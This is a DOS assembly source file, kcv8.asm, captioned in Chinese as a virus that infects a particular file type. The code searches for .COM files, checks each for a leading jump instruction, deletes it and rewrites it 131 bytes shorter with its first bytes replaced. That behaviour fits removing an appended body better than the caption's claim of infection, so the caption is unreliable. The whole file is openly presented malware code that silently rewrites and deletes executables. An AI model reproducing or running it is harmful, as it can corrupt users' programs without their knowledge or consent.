kcv8.asm

用汇编写的一个感染特定类型文件的病毒

.model tiny
.code
.startup
kvlen=139
start:
 mov bp,100h
 lea dx,kvlen[bp-6]
 mov ah,4eh
next:
 int 21h             ;查 '*.com'
 cmp al,12h
 je pass
 mov dx,9eh
 mov ax,3d02h
 int 21h             ;读写方式打开
 mov bx,ax
 mov ax,4200h
 xor dx,dx
 xor cx,cx
 int 21h             ;定位指针至文件头
 lea dx,kvlen[bp]
 mov cl,3
 mov ah,3fh
 int 21h             ;读三个字节
 cmp byte ptr[kvlen+bp],0e9h
 jne try
 mov ax,4200h  ;文件指针置文件头
 xor dx,dx
 xor cx,cx
 int 21h
 lea dx,kvlen[bp]
 mov cx,word ptr kvlen[bp+1]
 add cx,131
 mov ah,3fh
 int 21h
 lea di,[kvlen+bp]
 lea si,[kvlen+bp]
 add si,cx
 sub si,3
 movsb
 movsw
 mov dx,9eh
 mov ah,41h
 int 21h       ;delete
 push cx
 mov cx,0
 mov ah,3ch
 int 21h       ;new
 mov bx,ax
 lea dx,[kvlen+bp]
 pop cx
 sub cx,131
 mov ah,40h
 int 21h       ;write
try:
 mov ah,3eh
 int 21h
 mov ah,4fh
 jmp short next
pass:
 mov ah,4ch
 int 21h
 db '*.com',0
end